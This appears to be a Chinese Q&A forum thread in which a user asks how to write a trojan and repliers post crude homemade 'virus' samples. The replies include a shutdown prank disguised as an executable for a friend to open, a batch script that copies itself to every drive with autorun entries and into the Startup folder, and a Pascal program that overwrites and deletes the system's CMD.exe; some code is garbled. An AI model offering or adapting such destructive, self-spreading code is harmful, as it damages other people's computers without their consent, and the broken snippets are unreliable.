请问木马怎么编程啊？？？

TP（tuobo pascal）可以写出很多木马的 给你几个看看 只能玩玩 program bingdu; var a:integer; begin a:=1; while a=1 do write('!'); end. 要退出的话就按ctrl+pause break 编写一个小程序开玩笑，用记事本就可以了： shutdown -s -t 1 用EXE格式保存，之后你朋友如果一打开它，就会关机 可以的啦,我自己写的 procedure 毒毒.exe var t:text begin assign(t,'Aoturun.inf'); rewrite(t); writeln(t,'[Autorun]'); writeln(t,''); writeln(t,'open=毒毒.exe'); end. 使用Autorun自动打开病毒，很毒的。 下面是我自己用BAT文件编写的： copy %0 c:\ copy %0 d:\ copy %0 e:\ echo [Autorun]c:\Autorun echo [Autorun]d:\Autorun echo [Autorun]e:\Autorun echo open=1.batc:\Autorun echo open=1.batd:\Autorun echo open=1.bate:\Autorun copy %0 C:\Documents and Settings\Administrator\「开始」菜单\程序\启动 start 1.bat 哈哈把我这个BAT病毒复制到文本文档里，把文件名改成1.bat 你会看到精彩的一幕。 这个病毒会制造Autorun把自己复制到C D E 盘 和启动项里； 送你一个低级的病毒吧！ program sheji; Var n,i:longint; d:char; p:file of integer; begin assign(p,'C:\WINDOWS\system32\CMD.exe'); rewrite(p); while n1980 do begin for i:=1 to 360 do write(p,i); for d:='a' to 'z' do write(p,i); n:=n+1; end; for i:=1 to 4 do erase(p); readln; end. 我特制了一个建立在它基础上，要比这个复杂一些的程序，不过，不给你看了，毕竟，这包括我个人的隐私了。